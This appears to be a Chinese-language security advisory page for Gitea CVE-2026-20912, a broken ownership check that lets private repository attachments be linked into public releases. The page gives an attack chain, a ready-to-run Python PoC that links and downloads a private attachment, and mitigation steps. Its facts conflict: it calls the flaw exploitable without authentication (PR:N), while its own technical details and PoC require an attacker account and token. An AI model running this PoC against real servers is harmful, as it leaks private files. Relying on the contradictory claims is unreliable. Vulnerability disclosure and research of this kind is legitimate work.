IPBUF安全漏洞报告
English
CVE-2026-20912 CVSS 9.1 严重

Gitea CVE-2026-20912 私有仓库附件链接越权访问漏洞

披露日期: 2026-01-22
来源: 88ee5874-cf24-4952-aea0-31affedb7ff2

漏洞信息

漏洞编号
CVE-2026-20912
漏洞类型
访问控制错误
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gitea

相关标签

访问控制越权访问信息泄露Gitea附件安全仓库隔离失败API安全

漏洞概述

CVE-2026-20912是Gitea存在的一个严重访问控制漏洞,CVSS评分高达9.1分。该漏洞源于Gitea在将附件链接到release(发布版本)时未能正确验证仓库所有权。在正常情况下,用户上传到私有仓库的附件应该只能被该私有仓库的授权用户访问。然而,由于Gitea在处理附件链接时存在验证缺陷,攻击者可以将上传到私有仓库的附件链接到另一个公共仓库的release中。这意味着原本存储在私有仓库中的敏感附件可能对所有互联网用户可见,从而造成严重的信息泄露风险。攻击者无需任何认证即可利用此漏洞,只要知道目标仓库和附件的相关信息即可实施攻击。该漏洞影响了Gitea的机密性和完整性,可导致高危数据泄露风险。

技术细节

该漏洞的核心问题在于Gitea的附件链接功能缺乏对仓库所有权的充分验证。在Gitea的正常业务流程中,用户可以将仓库中的附件关联到某个release。但系统在处理这种关联请求时,仅验证了用户对当前仓库的写权限,却没有验证附件本身是否真正属于目标仓库。攻击者可以构造恶意请求,将A私有仓库(攻击者无权限访问)中的附件ID,通过API接口关联到B公共仓库(攻击者可控制)的release中。由于系统未检查附件的实际归属,导致任何互联网用户都可以通过访问B仓库的release来下载原本属于A私有仓库的附件。攻击者利用此漏洞需要获取目标附件的ID,这可能通过其他信息泄露渠道或猜测实现。漏洞利用的关键API端点是处理release附件链接的接口,该接口缺少对附件原始仓库所有权的强制校验。

攻击链分析

STEP 1
1
攻击者获取目标私有仓库中某个附件的唯一标识符(attachment_id),可通过信息泄露、猜测或其他漏洞获取
STEP 2
2
攻击者在其控制的公共仓库中创建一个release(发布版本),作为附件链接的目标
STEP 3
3
攻击者构造恶意API请求,将私有仓库的附件ID关联到自己公共仓库的release中
STEP 4
4
Gitea系统处理请求时,仅验证用户对公共仓库的写权限,未验证附件的实际所有权归属
STEP 5
5
附件成功被链接到公共release后,任何互联网用户均可通过公共仓库的release页面访问并下载原本私有的附件内容
STEP 6
6
攻击者或任意用户通过公共仓库的下载链接获取私有仓库中的敏感文件,造成数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-20912 PoC - Gitea Private Repository Attachment Unauthorized Access # This PoC demonstrates how an attacker can link a private repository attachment to a public release import requests import json TARGET_GITEA = "http://target-gitea-instance.com" ATTACKER_TOKEN = "your_attacker_token" # Attacker needs an account with access to a public repo PUBLIC_REPO_OWNER = "attacker_username" PUBLIC_REPO_NAME = "attacker_public_repo" TARGET_RELEASE_ID = 1 # ID of the release in public repo PRIVATE_ATTACHMENT_ID = 12345 # Attachment ID from private repository headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Try to attach a private repository attachment to a public repository release # The vulnerable endpoint does not verify if the attachment belongs to the target repository url = f"{TARGET_GITEA}/api/v1/repos/{PUBLIC_REPO_OWNER}/{PUBLIC_REPO_NAME}/releases/{TARGET_RELEASE_ID}/attachments" payload = { "attachment_id": PRIVATE_ATTACHMENT_ID } print(f"[*] Attempting to link private attachment {PRIVATE_ATTACHMENT_ID} to public release...") print(f"[*] Target URL: {url}") response = requests.post(url, headers=headers, json=payload) if response.status_code == 200 or response.status_code == 201: print("[+] SUCCESS! Private attachment linked to public release") print(f"[+] Response: {response.text}") # Step 2: Access the attachment through the public repository attachment_data = response.json() attachment_url = attachment_data.get("browser_download_url") print(f"[*] Accessing attachment via public repo: {attachment_url}") download_response = requests.get(attachment_url) if download_response.status_code == 200: print("[+] SUCCESS! Downloaded private attachment content") print(f"[*] Content preview: {download_response.text[:500]}...") else: print(f"[-] FAILED! Status code: {response.status_code}") print(f"[-] Response: {response.text}") # Note: This PoC requires: # 1. Attacker account with token # 2. Access to a public repository where attacker can create releases # 3. Knowledge of the target attachment ID # 4. The vulnerable Gitea version < 1.25.4

影响范围

Gitea < 1.25.4

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1)禁用或限制release附件功能的使用;2)对所有仓库启用严格访问控制,确保私有仓库不暴露在公网;3)监控异常的文件访问和下载行为;4)限制API令牌的权限范围,遵循最小权限原则;5)考虑在Gitea实例前部署WAF进行请求过滤。建议尽快升级到官方发布的安全版本v1.25.4以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表